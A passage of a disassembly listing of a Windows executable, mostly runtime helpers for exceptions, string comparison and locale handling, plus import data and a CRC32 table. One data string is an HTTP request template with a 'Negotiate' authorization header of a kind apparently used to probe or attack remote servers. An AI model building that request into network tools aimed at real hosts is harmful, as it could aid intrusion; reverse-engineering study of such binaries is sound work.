eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A40 proc near nop jmp near ptr 71B2ACCBh sub_422A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p jmp near ptr 27D0175h sub_422A4C endp ; --------------------------------------------------------------------------- push ss ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_48A0A8, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2840000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_48A0A8, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_48A0A8 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_48A304, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 2860000h test eax, eax jz short loc_422CCC mov dword_48A304, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_43C824 push edi push esi nop call near ptr 2850000h test eax, eax jz loc_422E6D mov dword_48A304, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_48A304 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2790000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2790000h nop test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2850000h nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2600000h nop mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_4395A4 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A308 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 25B0000h nop test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push edi nop call near ptr 25B07F7h test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_48A308, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25B0000h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_48A0A8 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 25B07F7h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 2570000h, 25701B9h, 2580000h, 258062Ch, 2590000h, 2590AC2h dd 25A0000h, 25A04FAh, 25A056Ch, 25A09DCh, 25B0000h, 25B07F7h dd 25C0000h, 25C0848h, 25C0A80h dword_42403C dd 25C0A8Bh ; DATA XREF: ___:0041F496r dd 25C0B2Bh, 25C0D9Dh, 25C0DF9h, 25D0000h, 25D0329h, 25D0362h dword_424058 dd 25D0889h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 25D0969h, 25E0000h dword_424064 dd 25E041Ch ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 25E04A1h, 25F0000h dword_424070 dd 2600000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 2610000h ; DATA XREF: sub_4168E9+Br dword_424078 dd 2610978h ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2620000h, 2630000h dword_424084 dd 2630846h ; DATA XREF: sub_40AB7C+36r dd 2630A88h dword_42408C dd 2630B7Ah ; DATA XREF: sub_4168E9:loc_41697Ar db 0CCh db 0Bh, 63h, 2 dd 2640000h, 2650000h, 2660000h dword_4240A0 dd 2660BD0h ; DATA XREF: sub_4165C6+32r dd 2670000h, 26702C6h, 267037Fh, 2680000h, 2680478h, 2690000h dword_4240BC dd 26A0000h ; DATA XREF: sub_408EE5+26r dd 26B0000h, 77F7E300h, 77F7E21Fh, 26B0A62h, 26C0000h dd 26C065Dh dword_4240D8 dd 26D0000h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26D063Fh ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26E0000h ; DATA XREF: sub_40981F:loc_409D0Fr dd 26E033Bh dword_4240E8 dd 26F0000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 26F0BF7h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 26F0C53h dword_4240F4 dd 2700000h ; DATA XREF: sub_409392+56r dd 270030Dh, 2700871h dword_424100 dd 2700E3Fh ; DATA XREF: sub_40981F+2r dd 2710000h, 2720000h, 2720699h, 2720BB2h, 2730000h, 2730640h dd 2740000h, 274060Ah, 2750000h, 2751020h, 27511B2h, 2760000h dd 2760449h, 276084Fh dword_42413C dd 2760DCAh ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 2770000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 2771450h, 2780000h, 77E75CB5h dword_424150 dd 2790000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27A0000h, 27A0DD4h, 27A0E96h dword_424160 dd 27B0000h ; DATA XREF: ___:loc_40E864r dd 27B03ABh dword_424168 dd 27B093Ah ; DATA XREF: sub_4165C6:loc_4166B2r dd 27B0AB4h, 27B0BA2h, 27C0000h, 27C03C6h, 27C0A68h, 27C0D5Ch dd 27D0000h, 27D0175h, 27E0000h, 27F0000h, 2800000h, 2810000h dd 2811A59h, 2811A85h, 2820000h, 2820DBBh, 2830000h dword_4241B0 dd 2830535h ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 2830659h ; DATA XREF: sub_41B888:loc_41B8B9r dd 283080Ah, 2840000h, 284052Ch, 2850000h, 2860000h, 28612B7h dd 28619A1h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 